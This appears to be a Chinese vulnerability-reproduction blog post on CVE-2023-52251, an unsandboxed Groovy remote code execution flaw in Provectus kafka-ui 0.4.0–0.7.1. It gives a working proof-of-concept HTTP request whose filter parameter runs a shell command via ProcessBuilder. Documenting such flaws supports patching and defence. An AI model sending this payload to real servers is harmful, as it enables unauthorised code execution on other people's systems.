Apache-Kafka的UI中的远程代码执行CVE-2023-52251

最新推荐文章于 2025-11-22 07:18:28 发布

原创最新推荐文章于 2025-11-22 07:18:28 发布 · 248 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#kafka #安全威胁分析 #web安全 #漏洞复现 #漏洞库

漏洞复现专栏收录该内容

181 篇文章

订阅专栏

漏洞描述

Kafka UI 存在一个严重的远程代码执行漏洞，该漏洞源于消息过滤组件中未对 Groovy 脚本进行沙盒化处理，导致攻击者可执行任意代码。

该漏洞被标识为 CVE-2023-52251，影响范围广泛且利用门槛较低，对 Apache Kafka 的后台系统构成重大安全威胁。

影响版本

Provectus 开发的 Apache Kafka 管理界面（kafka-ui），受影响版本为 0.4.0 至 0.7.1

poc

GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091